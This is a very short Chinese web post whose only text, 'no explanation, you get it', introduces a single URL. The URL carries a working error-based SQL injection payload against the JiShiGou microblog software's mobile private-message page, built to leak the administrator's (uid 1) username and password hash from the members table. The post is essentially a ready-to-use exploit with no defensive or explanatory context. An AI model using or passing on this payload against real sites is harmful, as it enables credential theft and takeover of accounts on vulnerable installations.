不解释，你懂得！
 

https://www.webshell.cc/wap/index.php?mod=pm&pm_new=and(select%201%20from(select%20count(*),concat((select%20(select%20(select%20concat(0x27,0x7e,jishigou_members.username,0x27,0x7e,jishigou_members.password,0x27,0x7e)%20from%20jishigou_members%20where%20uid=1%20limit%200,1))%20from%20information_schema.tables%20limit%200,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20and%201=1